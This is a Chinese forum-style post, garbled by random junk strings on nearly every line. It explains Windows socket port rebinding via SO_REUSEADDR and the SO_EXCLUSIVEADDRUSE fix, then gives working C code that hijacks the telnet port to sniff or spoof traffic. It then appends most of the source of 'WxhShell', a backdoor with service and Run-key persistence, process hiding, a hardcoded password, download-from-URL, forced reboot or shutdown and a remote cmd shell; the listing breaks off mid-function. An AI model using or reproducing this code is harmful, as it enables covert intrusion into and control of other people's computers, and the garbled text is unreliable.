在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
jCdKau&9 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
\%\b*OO "j|}-a saddr.sin_family = AF_INET;
~@a7RiE@ h
$)thW saddr.sin_addr.s_addr = htonl(INADDR_ANY);
cy)b/4h@ _J^q| bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
/;LteBoY `< 8Fc`;[ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
%4QCUc*lr !R,9Pg*Ey 这意味着什么?意味着可以进行如下的攻击:
V+M2Gf AU1P?lk 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Y ON@G5^ ,Yhy7w 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
G#V5E)Dx xTQV?g
J 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
+kCVi 6S?a57;&W 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
!ZP1?l30 pGw|T~e% 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
I\V33Nd L^PZ\OC 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
"Gcr1$xG8! 4,f[D9|: 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
eG# (9 d T/*O8 #include
DMcvu*A #include
M4M
4*o #include
`ZN@L<I6 #include
'N=' B<^;% DWORD WINAPI ClientThread(LPVOID lpParam);
Ndi'b_Sh\ int main()
`]]gD EPG{ {
H*|Bukgt/M WORD wVersionRequested;
wd*T"V3 DWORD ret;
.5L/< WSADATA wsaData;
z1!ya#,$ BOOL val;
Tv3 ZNh SOCKADDR_IN saddr;
L3q)j\ls SOCKADDR_IN scaddr;
@babgP, int err;
T'XAcH SOCKET s;
V<4)'UI?k9 SOCKET sc;
u6r-{[W} int caddsize;
5tq$SF42X HANDLE mt;
=Bo0Oei DWORD tid;
T>f-b3dk wVersionRequested = MAKEWORD( 2, 2 );
8QC:ro err = WSAStartup( wVersionRequested, &wsaData );
,7%(Jj$
^ if ( err != 0 ) {
njUM>E,' printf("error!WSAStartup failed!\n");
6w1:3~a return -1;
7KM!\"PM }
4zf#zJw saddr.sin_family = AF_INET;
KAsS= ` ;prp6(c //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
38'H-]8q" UV5Ie!\nm saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
pR
`>b 3 saddr.sin_port = htons(23);
_= +V/= if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
HKF H/eV {
9w"h printf("error!socket failed!\n");
H:!7: return -1;
2}YOcnB }
:r%P.60H X val = TRUE;
9U{a{~b //SO_REUSEADDR选项就是可以实现端口重绑定的
'#s05hr if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
&F\? {
#~SP)Ukp printf("error!setsockopt failed!\n");
y|CP;:f; return -1;
W4[V}s5u }
j]*j}%hz //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
f!!P //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
J";=d4Sd //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
?%;B`2 nDR w`-$-4i if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
`:3&@.{T( {
WVkG2 ret=GetLastError();
#{~7G%GPY5 printf("error!bind failed!\n");
DUo0w f#D^ return -1;
OaNc9c" }
\gP. \ listen(s,2);
Ff&R0v while(1)
%xpd(&)n {
nHVPMi> caddsize = sizeof(scaddr);
rFO_fIJno //接受连接请求
soxfk+
9 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
:r-.r"[m- if(sc!=INVALID_SOCKET)
&|NZ8:*+# {
b_ZNI0Hp@ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
ik1XGFy?
if(mt==NULL)
"Ac~2<V {
ysl8LK
printf("Thread Creat Failed!\n");
6."PS4}: break;
[JZ h*A }
S_j1=6#^ }
unJiE! CloseHandle(mt);
q$|0)} }
v10mDr closesocket(s);
MN\i-vAL8 WSACleanup();
p!QR3k.9s return 0;
*b:u*`@ }
&b!vWX1N DWORD WINAPI ClientThread(LPVOID lpParam)
.@Hmg {
H}u)%qY+~ SOCKET ss = (SOCKET)lpParam;
e["Z!D_H SOCKET sc;
gJWlWVeq$ unsigned char buf[4096];
$ioaunQKP SOCKADDR_IN saddr;
A"P\4 long num;
z|t.y.JX DWORD val;
$i1>?pb3 DWORD ret;
RW|UQY# //如果是隐藏端口应用的话,可以在此处加一些判断
;/6:lL //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
`Gy>tD.#V- saddr.sin_family = AF_INET;
7LyV`6{70 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
UgOGBj,&5W saddr.sin_port = htons(23);
YyX^lL_ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
B=o#LL {
zWKrt.Dg printf("error!socket failed!\n");
HnH2u; return -1;
Zp% "" }
V!yp@%D val = 100;
<uWJ>sg^6 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
JsAb q {
a8lo!e9q ret = GetLastError();
r`mzsO-' return -1;
A_X^k|)T }
*`\4j*$^ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
6 ^6uK {
<+mO$0h"r ret = GetLastError();
*;Vq0a! return -1;
KVK@Snn
}
[\I\). if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
2hquE_1S[w {
W] RxRdY6[ printf("error!socket connect failed!\n");
_N<8!(|w closesocket(sc);
#*~#t4S- closesocket(ss);
l!GAMK 6o return -1;
HSTtDTo }
HIF.;ImG^ while(1)
|`,%%p|T% {
$[IuEdc/ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
uHy^ Bq //如果是嗅探内容的话,可以再此处进行内容分析和记录
63ht|$G //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
1,Y-_e) num = recv(ss,buf,4096,0);
U*)pUJ{&t if(num>0)
~]}7|VN.} send(sc,buf,num,0);
q4Q1Ib-<2 else if(num==0)
S?;&vs9j break;
BsRxD9r num = recv(sc,buf,4096,0);
]Rz]"JZ\S if(num>0)
2}t2k> send(ss,buf,num,0);
e;!si>N else if(num==0)
OSxr@ break;
|R DPx6!V }
zuXJf+] closesocket(ss);
IrJCZsk closesocket(sc);
!fjDO!,! return 0 ;
7@5}WNr }
:,% vAI +wr2TT~ eNpGa0 eG ==========================================================
le`fRq8f& #D&eov? 下边附上一个代码,,WXhSHELL
NO8)XJ3s hr(E,TAe ==========================================================
44b;]htv rOEk%kJ #include "stdafx.h"
5_9mA4gs@ 7NE"+EP\{2 #include <stdio.h>
LW
8LD|@ #include <string.h>
=E,^ +`M #include <windows.h>
1!~=8FTv #include <winsock2.h>
Qk*`9 #include <winsvc.h>
R#DnV[!\ #include <urlmon.h>
)OS^tG[= 4f:B 2x{ #pragma comment (lib, "Ws2_32.lib")
,C1}gPQ6< #pragma comment (lib, "urlmon.lib")
TFjb1a,) JmjqA Dex #define MAX_USER 100 // 最大客户端连接数
DY/xBwIF #define BUF_SOCK 200 // sock buffer
jhOQ)QE| #define KEY_BUFF 255 // 输入 buffer
2x<,R/} SvLI%>B=9 #define REBOOT 0 // 重启
"N>~] #define SHUTDOWN 1 // 关机
3copJS LVP2jTz #define DEF_PORT 5000 // 监听端口
wc`UcGO sxkWg> #define REG_LEN 16 // 注册表键长度
4+I @ #define SVC_LEN 80 // NT服务名长度
%/iD@2r ^h\& l{e // 从dll定义API
rO4R6A typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
-|V1A[ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
AUjZYp typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
AH-B/c5 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
GWd71ZtFO c@f?0|66M // wxhshell配置信息
c[VVCN8dA struct WSCFG {
o_ng{SL int ws_port; // 监听端口
z!s1$5:" 0 char ws_passstr[REG_LEN]; // 口令
t1`.M$ int ws_autoins; // 安装标记, 1=yes 0=no
jhR`%aH4 char ws_regname[REG_LEN]; // 注册表键名
Y;)l char ws_svcname[REG_LEN]; // 服务名
@#r6->%W char ws_svcdisp[SVC_LEN]; // 服务显示名
Y6 <.]H char ws_svcdesc[SVC_LEN]; // 服务描述信息
3p1U,B} char ws_passmsg[SVC_LEN]; // 密码输入提示信息
b^:frjaE3 int ws_downexe; // 下载执行标记, 1=yes 0=no
%ZsdCQc{` char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
8-B6D~i char ws_filenam[SVC_LEN]; // 下载后保存的文件名
nV:RL|p2jw =28ZSo^ };
K+\2cf?bU 7v&>d, // default Wxhshell configuration
O70#lvsM; struct WSCFG wscfg={DEF_PORT,
"c.@4#/_ "xuhuanlingzhe",
I@oSRB 1,
'':MhRb "Wxhshell",
~8&P*oFC "Wxhshell",
k4PXH "WxhShell Service",
@# =yC.s "Wrsky Windows CmdShell Service",
KV)if' "Please Input Your Password: ",
G<-<>)zO! 1,
G0A\"2U "
http://www.wrsky.com/wxhshell.exe",
_+j#.o> "Wxhshell.exe"
R=<%! };
O"X:3srJ` fK _uuw4 // 消息定义模块
U.WXh(`% char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
BNgm+1?L char *msg_ws_prompt="\n\r? for help\n\r#>";
\.'[!GE *c char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
F9"Xu-g char *msg_ws_ext="\n\rExit.";
^xgqs $`7 char *msg_ws_end="\n\rQuit.";
<#wVQ\0C char *msg_ws_boot="\n\rReboot...";
Ob{Tn@ char *msg_ws_poff="\n\rShutdown...";
,^7]F"5 char *msg_ws_down="\n\rSave to ";
g^}C/~b[ =W&m{F96 char *msg_ws_err="\n\rErr!";
+cbF$,M4 char *msg_ws_ok="\n\rOK!";
Be9,m!on (d/!M
n6L char ExeFile[MAX_PATH];
q65]bs4M int nUser = 0;
ftKL#9,s( HANDLE handles[MAX_USER];
dz^b(q int OsIsNt;
_%er,Ed 6$0<&')Yb SERVICE_STATUS serviceStatus;
N:CQ$7T{ j SERVICE_STATUS_HANDLE hServiceStatusHandle;
,"KfZf;? {bADMj1 // 函数声明
^_i)XdPU int Install(void);
:|$cG~'J int Uninstall(void);
Hq+QsplG int DownloadFile(char *sURL, SOCKET wsh);
}O>4XFj int Boot(int flag);
[& Z-
*a void HideProc(void);
KK5;6b int GetOsVer(void);
j
RcE241 int Wxhshell(SOCKET wsl);
I`*5z;Q!%@ void TalkWithClient(void *cs);
jf- XVk5q int CmdShell(SOCKET sock);
6^t#sEff] int StartFromService(void);
IC5QH<.$C int StartWxhshell(LPSTR lpCmdLine);
iC5HrOl6U @0s'
(
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
_"Z?O)d* VOID WINAPI NTServiceHandler( DWORD fdwControl );
;HH%OfQq `^,E4Q y // 数据结构和表定义
Y<u%J#'[ SERVICE_TABLE_ENTRY DispatchTable[] =
XI ;] c5 {
t$%<eF@w {wscfg.ws_svcname, NTServiceMain},
}^0'IAXi {NULL, NULL}
%#rtNDi };
4sntSlz)~k J4"A6`O // 自我安装
RRPPojKZ int Install(void)
jL8A_'3B {
_@y uaMoW= char svExeFile[MAX_PATH];
s+v9H10R HKEY key;
l`N4P strcpy(svExeFile,ExeFile);
!L8q]]'XM l?2 // 如果是win9x系统,修改注册表设为自启动
8b.k*,r> if(!OsIsNt) {
m~*qS4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Tx~w(A4: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Jz>P[LcB RegCloseKey(key);
[ i,[^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
l^ay*H RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
eOiH7{OA, RegCloseKey(key);
|n)4APX\Q return 0;
\XmplG: }
c5$DHT@N" }
n}F$kyI }
u9|Eos i else {
oA[`|
ji \fEG5/s}T // 如果是NT以上系统,安装为系统服务
\Db;7wh SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
XWAIW=. if (schSCManager!=0)
p@%Pdx {
.<>t2,Af SC_HANDLE schService = CreateService
zO\_^A|8H (
!{CIP`P1 schSCManager,
kVM*[<k wscfg.ws_svcname,
N*|EfI|X wscfg.ws_svcdisp,
r9u'+$vmF SERVICE_ALL_ACCESS,
i^jM9MAi SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Zy3F%]V0 SERVICE_AUTO_START,
nbP}a?XC SERVICE_ERROR_NORMAL,
OfBWf6b svExeFile,
[ _xOz4`% NULL,
!gLJBp NULL,
=Xr{ Dg NULL,
uGXvP(Pg' NULL,
B&X)bGx8
NULL
B^dMYFelJ );
-y&>&D if (schService!=0)
w{;bvq%lY {
@d3yqA
CloseServiceHandle(schService);
A#~CZQY^$ CloseServiceHandle(schSCManager);
W}(xE?9& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
yq[CA`zVN strcat(svExeFile,wscfg.ws_svcname);
sDHFZ:W if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Tt0]G_ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
,n{|d33 RegCloseKey(key);
-S}^b6WL return 0;
K&vqk/JW1 }
0_map z }
z6Yx
)qBE< CloseServiceHandle(schSCManager);
ud,_^Ul }
klC48l }
!RdubM G?{uR6s># return 1;
PHn3f;I }
yYZ0o.<&T* (=i+{
3`| // 自我卸载
_Nq7_iT0 int Uninstall(void)
Y)v_O_` {
*[['X%f HKEY key;
.3T#:Hl K~>ESMZ5 if(!OsIsNt) {
Kkds^v6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
+~\c1|f RegDeleteValue(key,wscfg.ws_regname);
m:XMF)tW RegCloseKey(key);
!@-g9z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
lAPvphO RegDeleteValue(key,wscfg.ws_regname);
sv?Lk4_ RegCloseKey(key);
09u@- return 0;
@5\ns-% }
kFHtZS( }
RBzBR)@5 }
[8Zvs=1 else {
eyGY8fF8$ `[Xff24(eb SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
#!X4\+) if (schSCManager!=0)
CwVORf,uA {
:|?nz$ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
KoNJ;YiKtN if (schService!=0)
sC.aT(meJ {
&qP&=( $ if(DeleteService(schService)!=0) {
sh %snLw CloseServiceHandle(schService);
jQ s"8[=s CloseServiceHandle(schSCManager);
!h0#es\ return 0;
g"iLhm`L }
fc#zhp5bX CloseServiceHandle(schService);
_# /zH~V% }
M1/Rba Q CloseServiceHandle(schSCManager);
T~rPpi& }
Y&Sk/8 }
v}$KlT [l2ds: return 1;
.;0?r9 }
D^knN-nZ* <"g ^V // 从指定url下载文件
%!G]H int DownloadFile(char *sURL, SOCKET wsh)
_BV'J92. {
>t,BNsWB HRESULT hr;
>+w(%;i; char seps[]= "/";
,iXE3TN;W char *token;
$DmWK_A char *file;
.`OyC' char myURL[MAX_PATH];
;hz"`{(JY char myFILE[MAX_PATH];
pv.0!a/M $q]:m+Fm strcpy(myURL,sURL);
0Dj<-n{9 token=strtok(myURL,seps);
Ng?n}$g* while(token!=NULL)
mX)UoiXue {
-0 [^w file=token;
`c^ _5:euX token=strtok(NULL,seps);
;F@N2j#
}
T-)Ur/qp 2jTP
(b2b GetCurrentDirectory(MAX_PATH,myFILE);
bJJB*$jW= strcat(myFILE, "\\");
_7(>0GY strcat(myFILE, file);
cD&53FPXC send(wsh,myFILE,strlen(myFILE),0);
58"Cn ||tF send(wsh,"...",3,0);
#<V/lPz+ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Pa%;[hbn if(hr==S_OK)
&n>\ +Q return 0;
zY\pZG else
f>k<I[C< return 1;
o}&TFhT 5;wA7@ }
29DYL vA rM.Bu>b // 系统电源模块
R}MdBE int Boot(int flag)
vT)(#0>z {
w%jc' ;| HANDLE hToken;
&kKopJH TOKEN_PRIVILEGES tkp;
>U\,(VB %~`8F\Hiu if(OsIsNt) {
]J;pUH+u OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
uK6`3lCD LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Kh<xQ:eMy tkp.PrivilegeCount = 1;
9%e&Z'l tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+L_!$"I AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
'=?IVm#C if(flag==REBOOT) {
7=yC*]BH-= if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
qLkn a return 0;
ea-NqdGs;m }
>Q&E4j C else {
9 p6QNDp if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Fy!uxT-\ return 0;
OYKeu(=L }
B9IqX }
r8\"'4B1 else {
jj^{^,z\ if(flag==REBOOT) {
2_@vSwC if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
eekp&H$'s return 0;
rb_ cm }
?3bUE\p else {
~Xi_bTAyAW if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
0Lcd@3XL return 0;
w'[lIEP 2$ }
l$KC\$?%* }
U
X)k;h %Od?(m"& return 1;
90OSe{ }
\tf \fa ]jNv}{ // win9x进程隐藏模块
9?c0cwP? void HideProc(void)
Mx<V;GPm {
#$p&J1 7{HJjH!zx HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
,f0|eu> if ( hKernel != NULL )
^CZ!rOSv {
C?6wIdp pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Zcq'u
jU ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
LGx]z.30B FreeLibrary(hKernel);
ZuIr=`"j }
A&%vog]O <GoUth.# return;
bt3v`q+V }
5U)Ia>p qcau(#I9. // 获取操作系统版本
>-EJLa int GetOsVer(void)
"
`rkp= {
5yPw[
EY OSVERSIONINFO winfo;
m$^Wyk} winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
8Jnb/A} GetVersionEx(&winfo);
&AR@5M u if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
YlfzHeN1 return 1;
LWG%]m|C else
A1Tk6i<F1 return 0;
ph*?y }
)C^ZzmB OwhMtYq // 客户端句柄模块
VJW%y)_[ int Wxhshell(SOCKET wsl)
VF8pH< {
iTTUyftHT SOCKET wsh;
fBtTJ+51} struct sockaddr_in client;
xgsE JE DWORD myID;
{4B{~Qe; \@")2o+ while(nUser<MAX_USER)
&tAYF_} {
?V^7`3F int nSize=sizeof(client);
/0XMQy wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
ikV;]ox if(wsh==INVALID_SOCKET) return 1;
U\tx{CsSz -;L'Jb>s76 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
ebQgk
Y= if(handles[nUser]==0)
<-umeY"n> closesocket(wsh);
d#g))f; else
l#'V
SFm& nUser++;
Qd[_W^QI }
wGc7 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
+WH\,E =:-fK-d return 0;
lK0ny>RB }
Z7;V}[wie }e?H(nZS7h // 关闭 socket
Jj"{C] void CloseIt(SOCKET wsh)
HZyA\FS {
-3K h
>b) closesocket(wsh);
7;>|9k nUser--;
HDe\Oty_ ExitThread(0);
O1c%XwMn^ }
fG0 ?"x@> C}huU // 客户端请求句柄
GppCrQ%Ra| void TalkWithClient(void *cs)
dC C*|b8h {
3>O|i2U K_i|cYGV SOCKET wsh=(SOCKET)cs;
%>Kba M1b char pwd[SVC_LEN];
b8WtNVd char cmd[KEY_BUFF];
4Aj~mA char chr[1];
kwjO5OC8 int i,j;
sz9W}&(j $ XjijD9R while (nUser < MAX_USER) {
*HoRYCL bRAD_ if(wscfg.ws_passstr) {
(&}[2pb! if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Xa`Q;J"h //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
(b25g! //ZeroMemory(pwd,KEY_BUFF);
JFT$1^n i=0;
] Q5:JV while(i<SVC_LEN) {
EBy7wU`S n`,
<g // 设置超时
#Y7jNrxE fd_set FdRead;
DU^.5f struct timeval TimeOut;
b-u@?G|< FD_ZERO(&FdRead);
<>HtXn/ FD_SET(wsh,&FdRead);
ZHTi4JY TimeOut.tv_sec=8;
7zu\tCWb TimeOut.tv_usec=0;
uu6 JZp int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
|] 7c&` if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
o/Ismg-p ZJDV'mC} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
E ;Z(v pwd
=chr[0]; M@[W"f
Wq
if(chr[0]==0xd || chr[0]==0xa) { ?C[?dg{n
pwd=0; 12lX-~[["
break; Mq$K[]F
} J>
i++; yIL=jzm`7
} ~bZ=]i
C=+9XfP 0
// 如果是非法用户,关闭 socket ]"_c-=
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WrGA7&!+
} 8)0]cX
g[G/If
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2#7|zhgb
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n- 2X?<_Z
V^,gpTyv*
while(1) { Iuxf`sd
~`AB-0t.u
ZeroMemory(cmd,KEY_BUFF); 1@v<
-UkK$wP5
// 自动支持客户端 telnet标准 wGti|7Tu*
j=0; [8Pt$5]^
while(j<KEY_BUFF) { 0 SSdp<
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4<-Kd~uL
cmd[j]=chr[0]; tA#$q;S
if(chr[0]==0xa || chr[0]==0xd) { fi
HE`]0
cmd[j]=0; %NQ%6B
break; zgGysjV
}
=c@hE'{
j++; naaKAZ!S
} NIQ}A-b
MZz9R*_VS
// 下载文件 1)=
H2n4)
if(strstr(cmd,"http://")) { zjUQ]
send(wsh,msg_ws_down,strlen(msg_ws_down),0); \>5sW8P]H`
if(DownloadFile(cmd,wsh)) H7'42J@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >\1twd{u]
else []A9j?_w
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MZ"V\6T]
} 4+hNP'e
else { :=B.)]F.)
''9]`B,:a0
switch(cmd[0]) { PaSwfjOnqr
%d+Fq=<
// 帮助 7SHllZ
case '?': { f4p*!e
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q(qm3OxYo
break; t#.}0Te7
} eA1g}ipm
// 安装 Wq3PN^
case 'i': { +~V_^-JG&
if(Install()) ~a_hOKU5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;:=j{,&dl[
else 1vq2`lWpx
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yuv=<V
break; YA,.C4=s
} Lz1KDXr`)+
// 卸载 diNSF-wi,,
case 'r': { Ct `)R
if(Uninstall()) e r_6PV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ky|k g@n{
else WblH}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #fF5O2E'3
break; Y"t|0dO%b
} GOxP{d?
// 显示 wxhshell 所在路径 N|mggz
case 'p': { eY`z\I
char svExeFile[MAX_PATH]; #^RIp>NN9
strcpy(svExeFile,"\n\r"); tfHr'Qy BC
strcat(svExeFile,ExeFile); jy~hLEt7
send(wsh,svExeFile,strlen(svExeFile),0); =eY
break; rWWpP<
} 2.nT k
// 重启 JVg}XwR
case 'b': { k@fxs]Y_L
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?6*\M
if(Boot(REBOOT)) v "2A?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); YP!}Bf
else { !JdZ0l
closesocket(wsh); Zah<e6L
ExitThread(0); 4NRj>y
} L|{v kkBo
break; _$A?
} VSO(DCr"L
// 关机 &9gI?b8
case 'd': {
*pO`sC>
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;|\j][A
if(Boot(SHUTDOWN)) V9KRA 1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z!q$d/1
else { i%i s<'
closesocket(wsh); b$Ei>%'/";
ExitThread(0); I<W<;A
} wtL=^
break; 4<<eqxI$|
} Le-t<6i-V#
// 获取shell M!hD`5.3
case 's': { \u6.*w5TI
CmdShell(wsh); r0f&n;0U4
closesocket(wsh); *k&V;?x|wt
ExitThread(0); 5l,Lp'k
break; #$ka.Pj
} mxH63$R
// 退出 _`*G71PS
case 'x': { butBS
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TrgKl2xfx
CloseIt(wsh); E2=vLI]
break; ]Ee$ulJ02
} 05jjLM'e
// 离开 #g2&x sU
case 'q': { Aeq^s
send(wsh,msg_ws_end,strlen(msg_ws_end),0);
# xX
closesocket(wsh); G~4G$YL*
WSACleanup(); {r5OtYmpR
exit(1); Zzb?Nbf
break; hR.vJ2oa
} 4_$.gO
} 8 tIy"5
} uaky2SgN
N\rL ~4/
// 提示信息 d..JW{
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MY}K.^4^
} *O_^C
} cF?0=un
aEVy20wd
return; &rl;+QS
} :l?mNm5
'6*9pG-
// shell模块句柄 | :id/
int CmdShell(SOCKET sock) k*Aee7
{ lWT`y
STARTUPINFO si; `82Dm!V
ZeroMemory(&si,sizeof(si)); /?Mr2!3N
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h@y>QhYU0
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $ \o)-3
PROCESS_INFORMATION ProcessInfo; JZ&_1~Z=
char cmdline[]="cmd"; S_;r!.
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @g]EY&Uzl
return 0; :fq4oHA#
} I`i"*z
Bvh{|tP4
// 自身启动模式 j['B9vG
int StartFromService(void) (XY`1|])`
{ |{_>H'
typedef struct Xil;`8h
{ !ab ef.%:
DWORD ExitStatus; *-{|m1P
DWORD PebBaseAddress; 4??LK/s*
DWORD AffinityMask; Q;A\M
DWORD BasePriority; N]6t)Zv
